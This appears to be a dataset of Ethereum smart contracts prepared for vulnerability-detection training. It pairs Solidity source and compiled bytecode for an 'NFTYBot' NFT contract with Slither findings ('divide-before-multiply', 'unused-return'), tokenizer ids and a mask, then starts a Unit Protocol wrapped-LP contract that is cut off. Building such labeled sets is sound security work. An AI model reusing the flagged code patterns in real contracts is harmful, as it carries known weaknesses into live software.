(uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
0x6080604052600436106102d15760003560e01c8063696434a5116101795780639f4ba0ee116100d6578063c87b56dd1161008a578063e985e9c511610064578063e985e9c51461076a578063f2fde38b146107b3578063fe2c6cd8146107d357600080fd5b8063c87b56dd14610714578063dea8b74714610734578063e45393041461074a57600080fd5b8063acced426116100bb578063acced426146106a7578063b88d4fde146106d4578063be010c40146106f457600080fd5b80639f4ba0ee14610667578063a22cb4651461068757600080fd5b80637d8966e41161012d5780638da5cb5b116101125780638da5cb5b1461061f5780638fd3ab801461063d57806395d89b411461065257600080fd5b80637d8966e4146105ea57806389034082146105ff57600080fd5b806370a082311161015e57806370a082311461059f578063715018a6146105bf5780637b55297a146105d457600080fd5b8063696434a51461056a5780636c0360eb1461058a57600080fd5b806321fec36c1161023257806342842e0e116101e65780635fd8c710116101c05780635fd8c7101461052d5780636352211e1461054257806364edfbf01461056257600080fd5b806342842e0e146104da5780634f6ccce7146104fa5780635baa75091461051a57600080fd5b80632f745c59116102175780632f745c591461047b5780633ade3c621461049b5780633f3d83c3146104bb57600080fd5b806321fec36c1461044657806323b872dd1461045b57600080fd5b80630e359f16116102895780631705a3bd1161026e5780631705a3bd146103f757806318160ddd146104115780631d0806ae1461043057600080fd5b80630e359f16146103a757806313155455146103d757600080fd5b806306fdde03116102ba57806306fdde031461032d578063081812fc1461034f578063095ea7b31461038757600080fd5b806301ffc9a7146102d657806302fe53051461030b575b600080fd5b3480156102e257600080fd5b506102f66102f1366004612ccc565b6107f3565b60405190151581526020015b60405180910390f35b34801561031757600080fd5b5061032b610326366004612ce9565b610804565b005b34801561033957600080fd5b50610342610862565b6040516103029190612db3565b34801561035b57600080fd5b5061036f61036a366004612dc6565b6108f4565b6040516001600160a01b039091168152602001610302565b34801561039357600080fd5b5061032b6103a2366004612dfb565b610989565b3480156103b357600080fd5b506102f66103c2366004612dc6565b600f6020526000908152604090205460ff1681565b3480156103e357600080fd5b5060115461036f906001600160a01b031681565b34801561040357600080fd5b50600d546102f69060ff1681565b34801561041d57600080fd5b506008545b604051908152602001610302565b34801561043c57600080fd5b50610422600b5481565b34801561045257600080fd5b5061032b610ab6565b34801561046757600080fd5b5061032b610476366004612e25565b610b12565b34801561048757600080fd5b50610422610496366004612dfb565b610b99565b3480156104a757600080fd5b5061032b6104b6366004612e61565b610c41565b3480156104c757600080fd5b50600d546102f690610100900460ff1681565b3480156104e657600080fd5b5061032b6104f5366004612e25565b610cff565b34801561050657600080fd5b50610422610515366004612dc6565b610d1a565b61032b610528366004612dc6565b610dbe565b34801561053957600080fd5b5061032b610ed3565b34801561054e57600080fd5b5061036f61055d366004612dc6565b6110bb565b61032b611146565b34801561057657600080fd5b5061032b610585366004612e83565b611292565b34801561059657600080fd5b50610342611355565b3480156105ab57600080fd5b506104226105ba366004612e83565b6113e3565b3480156105cb57600080fd5b5061032b61147d565b3480156105e057600080fd5b50610422600c5481565b3480156105f657600080fd5b5061032b6114d1565b34801561060b57600080fd5b5061032b61061a366004612e83565b611536565b34801561062b57600080fd5b50600a546001600160a01b031661036f565b34801561064957600080fd5b5061032b61161c565b34801561065e57600080fd5b50610342611a8d565b34801561067357600080fd5b5061032b610682366004612dc6565b611a9c565b34801561069357600080fd5b5061032b6106a2366004612e9e565b611ae9565b3480156106b357600080fd5b506104226106c2366004612dc6565b60106020526000908152604090205481565b3480156106e057600080fd5b5061032b6106ef366004612ef0565b611bae565b34801561070057600080fd5b5061042261070f366004612dc6565b611c3c565b34801561072057600080fd5b5061034261072f366004612dc6565b611cb3565b34801561074057600080fd5b5061042261010081565b34801561075657600080fd5b5061032b610765366004612e61565b611d9c565b34801561077657600080fd5b506102f6610785366004612fcc565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156107bf57600080fd5b5061032b6107ce366004612e83565b611e48565b3480156107df57600080fd5b5061032b6107ee366004612dc6565b611f15565b60006107fe82611f62565b92915050565b600a546001600160a01b031633146108515760405162461bcd60e51b815260206004820181905260248201526000805160206131bd83398151915260448201526064015b60405180910390fd5b61085d600e8383612c1d565b505050565b60606000805461087190612fff565b80601f016020809104026020016040519081016040528092919081815260200182805461089d90612fff565b80156108ea5780601f106108bf576101008083540402835291602001916108ea565b820191906000526020600020905b8154815290600101906020018083116108cd57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661096d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610848565b506000908152600460205260409020546001600160a01b031690565b6000610994826110bb565b9050806001600160a01b0316836001600160a01b03161415610a1e5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610848565b336001600160a01b0382161480610a3a5750610a3a8133610785565b610aac5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610848565b61085d8383611fa0565b600a546001600160a01b03163314610afe5760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b600d805460ff19811660ff90911615179055565b610b1c338261201b565b610b8e5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610848565b61085d838383612112565b6000610ba4836113e3565b8210610c185760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610848565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610c895760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b6000828152600260205260409020546001600160a01b0316610ced5760405162461bcd60e51b815260206004820152601e60248201527f4e465459506173733a20546f6b656e20646f6573206e6f7420657869737400006044820152606401610848565b60009182526010602052604090912055565b61085d83838360405180602001604052806000815250611bae565b6000610d2560085490565b8210610d995760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610848565b60088281548110610dac57610dac61303a565b90600052602060002001549050919050565b6000818152600260205260409020546001600160a01b0316610e225760405162461bcd60e51b815260206004820152601d60248201527f4e465459426f743a20546f6b656e20646f6573206e6f742065786973740000006044820152606401610848565b600c54341015610e745760405162461bcd60e51b815260206004820152601e60248201527f4e465459506173733a20496e76616c696420657468657220616d6f756e7400006044820152606401610848565b600081815260106020526040902054421115610ea957610e974262278d00613066565b60008281526010602052604090205550565b6000818152601060205260408120805462278d009290610eca908490613066565b90915550505b50565b600a546001600160a01b03163314610f1b5760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b6011546001600160a01b03163115610f9657601160009054906101000a90046001600160a01b03166001600160a01b0316635fd8c7106040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610f7d57600080fd5b505af1158015610f91573d6000803e3d6000fd5b505050505b6000610fa3600247613094565b60405190915060009073c57112fb1872130a85ecf29877dd96042572a0279083908381818185875af1925050503d8060008114610ffc576040519150601f19603f3d011682016040523d82523d6000602084013e611001565b606091505b50506040519091506000907369827bf658898541380f78e0fbaf920ff020203b9084908381818185875af1925050503d806000811461105c576040519150601f19603f3d011682016040523d82523d6000602084013e611061565b606091505b5050905081801561106f5750805b61085d5760405162461bcd60e51b815260206004820152601b60248201527f4e465459426f743a204661696c656420746f20776974686472617700000000006044820152606401610848565b6000818152600260205260408120546001600160a01b0316806107fe5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610848565b600061115160085490565b600d54909150610100900460ff166111ab5760405162461bcd60e51b815260206004820152601960248201527f4e465459426f743a2053616c65206973206e6f74206c697665000000000000006044820152606401610848565b600b543410156111fd5760405162461bcd60e51b815260206004820152601d60248201527f4e465459426f743a20496e76616c696420657468657220616d6f756e740000006044820152606401610848565b61010061120b826001613066565b11156112595760405162461bcd60e51b815260206004820152601f60248201527f4e465459426f743a204578636565647320737570706c79206d6178696d756d006044820152606401610848565b6000611266826001613066565b90506112754262278d00613066565b60008281526010602052604090205561128e33826122f7565b5050565b600a546001600160a01b031633146112da5760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b6011546040517ff2fde38b0000000000000000000000000000000000000000000000000000000081526001600160a01b0383811660048301529091169063f2fde38b90602401600060405180830381600087803b15801561133a57600080fd5b505af115801561134e573d6000803e3d6000fd5b5050505050565b600e805461136290612fff565b80601f016020809104026020016040519081016040528092919081815260200182805461138e90612fff565b80156113db5780601f106113b0576101008083540402835291602001916113db565b820191906000526020600020905b8154815290600101906020018083116113be57829003601f168201915b505050505081565b60006001600160a01b0382166114615760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610848565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146114c55760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b6114cf6000612311565b565b600a546001600160a01b031633146115195760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b600d805461ff001981166101009182900460ff1615909102179055565b600a546001600160a01b0316331461157e5760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b600061158960085490565b9050610100611599826001613066565b11156115e75760405162461bcd60e51b815260206004820152601f60248201527f4e465459426f743a204578636565647320737570706c79206d6178696d756d006044820152606401610848565b60006115f4826001613066565b90506116034262278d00613066565b60008281526010602052604090205561085d83826122f7565b600d5460ff166116945760405162461bcd60e51b815260206004820152602260248201527f4e465459426f743a204d6967726174696f6e206d75737420626520656e61626c60448201527f65640000000000000000000000000000000000000000000000000000000000006064820152608401610848565b6011546040517f70a082310000000000000000000000000000000000000000000000000000000081523360048201526000916001600160a01b0316906370a082319060240160206040518083038186803b1580156116f157600080fd5b505afa158015611705573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061172991906130a8565b90505b8015610ed0576011546000906001600160a01b0316632f745c59336117526001866130c1565b6040516001600160e01b031960e085901b1681526001600160a01b039092166004830152602482015260440160206040518083038186803b15801561179657600080fd5b505afa1580156117aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ce91906130a8565b6000818152600f602052604090205490915060ff16156118305760405162461bcd60e51b815260206004820152601d60248201527f4e46545950617373206d757374206e6f74206265206d696772617465640000006044820152606401610848565b8161183a816130d8565b6000838152600f602052604090819020805460ff1916600117905560115490517facced426000000000000000000000000000000000000000000000000000000008152600481018590529194506001600160a01b0316915063acced4269060240160206040518083038186803b1580156118b357600080fd5b505afa1580156118c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118eb91906130a8565b6118f89062093a80613066565b6000828152601060205260409020556011546001600160a01b031663e4539304826119264262127500613066565b6040516001600160e01b031960e085901b16815260048101929092526024820152604401600060405180830381600087803b15801561196457600080fd5b505af1158015611978573d6000803e3d6000fd5b50506011546040517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018590526001600160a01b0390911692506323b872dd9150606401600060405180830381600087803b1580156119e757600080fd5b505af11580156119fb573d6000803e3d6000fd5b50506011546040517fe453930400000000000000000000000000000000000000000000000000000000815260048101859052600060248201526001600160a01b03909116925063e45393049150604401600060405180830381600087803b158015611a6557600080fd5b505af1158015611a79573d6000803e3d6000fd5b50505050611a8733826122f7565b5061172c565b60606001805461087190612fff565b600a546001600160a01b03163314611ae45760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b600b55565b6001600160a01b038216331415611b425760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610848565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b611bb8338361201b565b611c2a5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610848565b611c3684848484612370565b50505050565b6000818152600260205260408120546001600160a01b0316611ca05760405162461bcd60e51b815260206004820152601d60248201527f4e465459426f743a20546f6b656e20646f6573206e6f742065786973740000006044820152606401610848565b5060009081526010602052604090205490565b6000818152600260205260409020546060906001600160a01b0316611d405760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610848565b6000611d4a6123ee565b90506000815111611d6a5760405180602001604052806000815250611d95565b80611d74846123fd565b604051602001611d859291906130ef565b6040516020818303038152906040525b9392505050565b600a546001600160a01b03163314611de45760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b6000828152600260205260409020546001600160a01b0316610ced5760405162461bcd60e51b815260206004820152601d60248201527f4e465459426f743a20546f6b656e20646f6573206e6f742065786973740000006044820152606401610848565b600a546001600160a01b03163314611e905760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b6001600160a01b038116611f0c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610848565b610ed081612311565b600a546001600160a01b03163314611f5d5760405162461bcd60e51b815260206004820181905260248201526000805160206131bd8339815191526044820152606401610848565b600c55565b60006001600160e01b031982167f780e9d630000000000000000000000000000000000000000000000000000000014806107fe57506107fe8261252f565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0384169081179091558190611fe2826110bb565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166120945760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610848565b600061209f836110bb565b9050806001600160a01b0316846001600160a01b031614806120da5750836001600160a01b03166120cf846108f4565b6001600160a01b0316145b8061210a57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316612125826110bb565b6001600160a01b0316146121a15760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610848565b6001600160a01b03821661221c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610848565b6122278383836125ca565b612232600082611fa0565b6001600160a01b038316600090815260036020526040812080546001929061225b9084906130c1565b90915550506001600160a01b0382166000908152600360205260408120805460019290612289908490613066565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b61128e828260405180602001604052806000815250612650565b600a80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61237b848484612112565b612387848484846126ce565b611c365760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610848565b6060600e805461087190612fff565b60608161243d57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b811561246757806124518161311e565b91506124609050600a83613094565b9150612441565b60008167ffffffffffffffff81111561248257612482612eda565b6040519080825280601f01601f1916602001820160405280156124ac576020820181803683370190505b5090505b841561210a576124c16001836130c1565b91506124ce600a86613139565b6124d9906030613066565b60f81b8183815181106124ee576124ee61303a565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612528600a86613094565b94506124b0565b60006001600160e01b031982167f80ac58cd00000000000000000000000000000000000000000000000000000000148061259257506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806107fe57507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316146107fe565b6125d381612826565b6126455760405162461bcd60e51b815260206004820152603260248201527f4e465459426f743a20546f6b656e206d7573742068617665206174206c65617360448201527f742031207765656b2072656d61696e696e6700000000000000000000000000006064820152608401610848565b61085d83838361287a565b61265a8383612932565b61266760008484846126ce565b61085d5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610848565b60006001600160a01b0384163b1561281b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061271290339089908890889060040161314d565b602060405180830381600087803b15801561272c57600080fd5b505af192505050801561275c575060408051601f3d908101601f1916820190925261275991810190613189565b60015b612801573d80801561278a576040519150601f19603f3d011682016040523d82523d6000602084013e61278f565b606091505b5080516127f95760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610848565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061210a565b506001949350505050565b6000818152601060205260408120544211158015612860575060008281526010602052604090205462093a809061285e9042906130c1565b115b806107fe575050600a546001600160a01b03163314919050565b6001600160a01b0383166128d5576128d081600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6128f8565b816001600160a01b0316836001600160a01b0316146128f8576128f88382612a8d565b6001600160a01b03821661290f5761085d81612b2a565b826001600160a01b0316826001600160a01b03161461085d5761085d8282612bd9565b6001600160a01b0382166129885760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610848565b6000818152600260205260409020546001600160a01b0316156129ed5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610848565b6129f9600083836125ca565b6001600160a01b0382166000908152600360205260408120805460019290612a22908490613066565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001612a9a846113e3565b612aa491906130c1565b600083815260076020526040902054909150808214612af7576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090612b3c906001906130c1565b60008381526009602052604081205460088054939450909284908110612b6457612b6461303a565b906000526020600020015490508060088381548110612b8557612b8561303a565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480612bbd57612bbd6131a6565b6001900381819060005260206000200160009055905550505050565b6000612be4836113e3565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b828054612c2990612fff565b90600052602060002090601f016020900481019282612c4b5760008555612c91565b82601f10612c645782800160ff19823516178555612c91565b82800160010185558215612c91579182015b82811115612c91578235825591602001919060010190612c76565b50612c9d929150612ca1565b5090565b5b80821115612c9d5760008155600101612ca2565b6001600160e01b031981168114610ed057600080fd5b600060208284031215612cde57600080fd5b8135611d9581612cb6565b60008060208385031215612cfc57600080fd5b823567ffffffffffffffff80821115612d1457600080fd5b818501915085601f830112612d2857600080fd5b813581811115612d3757600080fd5b866020828501011115612d4957600080fd5b60209290920196919550909350505050565b60005b83811015612d76578181015183820152602001612d5e565b83811115611c365750506000910152565b60008151808452612d9f816020860160208601612d5b565b601f01601f19169290920160200192915050565b602081526000611d956020830184612d87565b600060208284031215612dd857600080fd5b5035919050565b80356001600160a01b0381168114612df657600080fd5b919050565b60008060408385031215612e0e57600080fd5b612e1783612ddf565b946020939093013593505050565b600080600060608486031215612e3a57600080fd5b612e4384612ddf565b9250612e5160208501612ddf565b9150604084013590509250925092565b60008060408385031215612e7457600080fd5b50508035926020909101359150565b600060208284031215612e9557600080fd5b611d9582612ddf565b60008060408385031215612eb157600080fd5b612eba83612ddf565b915060208301358015158114612ecf57600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060008060808587031215612f0657600080fd5b612f0f85612ddf565b9350612f1d60208601612ddf565b925060408501359150606085013567ffffffffffffffff80821115612f4157600080fd5b818701915087601f830112612f5557600080fd5b813581811115612f6757612f67612eda565b604051601f8201601f19908116603f01168101908382118183101715612f8f57612f8f612eda565b816040528281528a6020848701011115612fa857600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215612fdf57600080fd5b612fe883612ddf565b9150612ff660208401612ddf565b90509250929050565b600181811c9082168061301357607f821691505b6020821081141561303457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000821982111561307957613079613050565b500190565b634e487b7160e01b600052601260045260246000fd5b6000826130a3576130a361307e565b500490565b6000602082840312156130ba57600080fd5b5051919050565b6000828210156130d3576130d3613050565b500390565b6000816130e7576130e7613050565b506000190190565b60008351613101818460208801612d5b565b835190830190613115818360208801612d5b565b01949350505050565b600060001982141561313257613132613050565b5060010190565b6000826131485761314861307e565b500690565b60006001600160a01b0380871683528086166020840152508360408301526080606083015261317f6080830184612d87565b9695505050505050565b60006020828403121561319b57600080fd5b8151611d9581612cb6565b634e487b7160e01b600052603160045260246000fdfe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220512a7f4ef16c3bc551476d0bb086de6a6225ed16375e13b7e45247710ca45b3464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 16048, 2278, 15136, 2050, 2509, 4783, 2575, 2063, 2692, 21619, 2497, 21619, 2549, 2050, 2683, 16048, 3401, 2546, 2094, 2620, 2683, 2063, 2620, 2546, 2509, 7011, 2692, 2581, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 12324, 1000, 1012, 1013, 1050, 6199, 22571, 12054, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,168
0x96517D84037Aa967cC5c1ce67be3f15681C98962
// SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./WSSLPUserProxy.sol"; import "../../helpers/ReentrancyGuard.sol"; import "../../helpers/TransferHelper.sol"; import "../../Auth2.sol"; import "../../interfaces/IVault.sol"; import "../../interfaces/IERC20WithOptional.sol"; import "../../interfaces/wrapped-assets/IWrappedAsset.sol"; import "../../interfaces/wrapped-assets/ITopDog.sol"; import "../../interfaces/wrapped-assets/ISushiSwapLpToken.sol"; /** * @title ShibaSwapWrappedLp **/ contract WrappedShibaSwapLp is IWrappedAsset, Auth2, ERC20, ReentrancyGuard { using SafeMath for uint256; bytes32 public constant override isUnitProtocolWrappedAsset = keccak256("UnitProtocolWrappedAsset"); IVault public immutable vault; ITopDog public immutable topDog; uint256 public immutable topDogPoolId; IERC20 public immutable boneToken; address public immutable userProxyImplementation; mapping(address => WSSLPUserProxy) public usersProxies; mapping (address => mapping (bytes4 => bool)) allowedBoneLockersSelectors; address public feeReceiver; uint8 public feePercent = 10; constructor( address _vaultParameters, ITopDog _topDog, uint256 _topDogPoolId, address _feeReceiver ) Auth2(_vaultParameters) ERC20( string( abi.encodePacked( "Wrapped by Unit ", getSsLpTokenName(_topDog, _topDogPoolId), " ", getSsLpTokenToken0Symbol(_topDog, _topDogPoolId), "-", getSsLpTokenToken1Symbol(_topDog, _topDogPoolId) ) ), string( abi.encodePacked( "wu", getSsLpTokenSymbol(_topDog, _topDogPoolId), getSsLpTokenToken0Symbol(_topDog, _topDogPoolId), getSsLpTokenToken1Symbol(_topDog, _topDogPoolId) ) ) ) { boneToken = _topDog.bone(); topDog = _topDog; topDogPoolId = _topDogPoolId; vault = IVault(VaultParameters(_vaultParameters).vault()); _setupDecimals(IERC20WithOptional(getSsLpToken(_topDog, _topDogPoolId)).decimals()); feeReceiver = _feeReceiver; userProxyImplementation = address(new WSSLPUserProxy(_topDog, _topDogPoolId)); } function setFeeReceiver(address _feeReceiver) public onlyManager { feeReceiver = _feeReceiver; emit FeeReceiverChanged(_feeReceiver); } function setFee(uint8 _feePercent) public onlyManager { require(_feePercent <= 50, "Unit Protocol Wrapped Assets: INVALID_FEE"); feePercent = _feePercent; emit FeeChanged(_feePercent); } /** * @dev in case of change bone locker to unsupported by current methods one */ function setAllowedBoneLockerSelector(address _boneLocker, bytes4 _selector, bool _isAllowed) public onlyManager { allowedBoneLockersSelectors[_boneLocker][_selector] = _isAllowed; if (_isAllowed) { emit AllowedBoneLockerSelectorAdded(_boneLocker, _selector); } else { emit AllowedBoneLockerSelectorRemoved(_boneLocker, _selector); } } /** * @notice Approve sslp token to spend from user proxy (in case of change sslp) */ function approveSslpToTopDog() public nonReentrant { WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); IERC20 sslpToken = getUnderlyingToken(); userProxy.approveSslpToTopDog(sslpToken); } /** * @notice Get tokens from user, send them to TopDog, sent to user wrapped tokens * @dev only user or CDPManager could call this method */ function deposit(address _user, uint256 _amount) public override nonReentrant { require(_amount > 0, "Unit Protocol Wrapped Assets: INVALID_AMOUNT"); require(msg.sender == _user || 